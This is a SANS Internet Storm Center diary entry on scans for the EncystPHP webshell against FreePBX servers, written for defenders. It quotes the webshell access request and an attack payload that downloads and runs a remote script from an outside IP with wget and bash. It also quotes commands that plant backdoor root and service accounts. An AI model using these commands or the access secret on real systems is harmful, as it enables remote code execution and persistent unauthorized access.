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SANS Internet Storm Center, InfoCON: green

From a VHDX File to a Remcos RAT - SANS Internet Storm Center ISC Stormcast For Tuesday, June 16th, 2026 https://isc.sans.edu/podcastdetail/9974 Evil MSI Background: BASE64 Statistical Analysis - SANS ISC ISC Stormcast For Monday, June 15th, 2026 https://isc.sans.edu/podcastdetail/9972 ISC Stormcast For Friday, June 12th, 2026 https://isc.sans.edu/podcastdetail/9970 ISC Stormcast For Thursday, June 11th, 2026 https://isc.sans.edu/podcastdetail/9968 How has use of framing protection security headers changed in the past 3 years? ISC Stormcast For Wednesday, June 10th, 2026 https://isc.sans.edu/podcastdetail/9966 Microsoft June 2026 Patch Tuesday - SANS Internet Storm Center ISC Stormcast For Tuesday, June 9th, 2026 https://isc.sans.edu/podcastdetail/9964 TeamPCP Supply Chain Campaign: Activity Through 2026-06-07 ISC Stormcast For Monday, June 8th, 2026 https://isc.sans.edu/podcastdetail/9962 The Evil MSI Background is Back! - SANS Internet Storm Center ISC Stormcast For Friday, June 5th, 2026 https://isc.sans.edu/podcastdetail/9960 Microsoft's Coreutils for Windows - SANS Internet Storm Center ISC Stormcast For Thursday, June 4th, 2026 https://isc.sans.edu/podcastdetail/9958 Continuing Scans for swagger.json - SANS Internet Storm Center ISC Stormcast For Wednesday, June 3rd, 2026 https://isc.sans.edu/podcastdetail/9956 New Wave Of Phishing Emails with SVG Files - SANS ISC ISC Stormcast For Tuesday, June 2nd, 2026 https://isc.sans.edu/podcastdetail/9954 ISC Stormcast For Monday, June 1st, 2026 https://isc.sans.edu/podcastdetail/9952 Unidentified RAT pushes NetSupport RAT - SANS ISC YARA-X 1.17.0 Release - SANS Internet Storm Center ISC Stormcast For Friday, May 29th, 2026 https://isc.sans.edu/podcastdetail/9950 Analysis of a Year of Files Uploaded to DShield Sensors ISC Stormcast For Thursday, May 28th, 2026 https://isc.sans.edu/podcastdetail/9948 Reconstructing an Akira Ransomware Kill Chain from Perimeter and Endpoint Logs ISC Stormcast For Wednesday, May 27th, 2026 https://isc.sans.edu/podcastdetail/9946 ISC Stormcast For Tuesday, May 26th, 2026 https://isc.sans.edu/podcastdetail/9944 Possible ACR Stealer From Page Impersonating Claude
Scans for EncystPHP Webshell - SANS Internet Storm Center
2026-04-13 · via SANS Internet Storm Center, InfoCON: green

Last week, I wrote about attackers scanning for various webshells, hoping to find some that do not require authentication or others that use well-known credentials. But some attackers are paying attention and are deploying webshells with more difficult-to-guess credentials. Today, I noticed some scans for what appears to be the "EncystPHP" web shell. Fortinet wrote about this webshell back in January. It appears to be a favorite among attackers compromising vulnerable FreePBX systems.

The requests I observed look like:

GET /admin/modules/phones/ajax.php?md5=cf710203400b8c466e6dfcafcf36a411
Host: [victim ip address]:8000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

This URL matches what Fortinet reported back in January. 

The parameter name "md5" is a bit misleading. The webshell will just compare the string. The parameter is not necessarily the MD5 hash of a specific "password"; any string will work as long as it matches the hard-coded string in the webshell. The string above has the correct length for an MD5 hash, but I wasn't able to find it in common MD5 hash databases. It is very possible that only a few different values are used across different attack campaigns. Many attackers may just "copy/paste" the code, including this access secret.

Currently, these probes originate from 160.119.76.250, an IP address located in the Netherlands. The IP address hosts an unconfigured web server. 

The same IP address is also probing for various FreePBX vulnerabilities, for example:

/restapps/applications.php?linestate=$$LINESTATE$$&user=100
Context: ext-local

Action: Originate
Channel: Local/DONTCALL@macro-dial
Application: system
data: wget http://45.95.147.178/k.php -O /tmp/k;bash /tmp/
k

This request also matches the scans reported by Fortinet, and it returns the EncystPHP webshell. This version is also adding the following backdoor accounts:

echo 'root:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'hima:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'asterisk:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'sugarmaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'spamfilter:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'asteriskuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'supports:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'freepbxuser:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'supermaint:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true
echo 'juba:$1$nRz1Cbtk$6DnGs37n.OpPcgejUfp9p.' | chpasswd -e 2>/dev/null || true

If you are using FreePBX, you may want to check for these accounts just to make sure.

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
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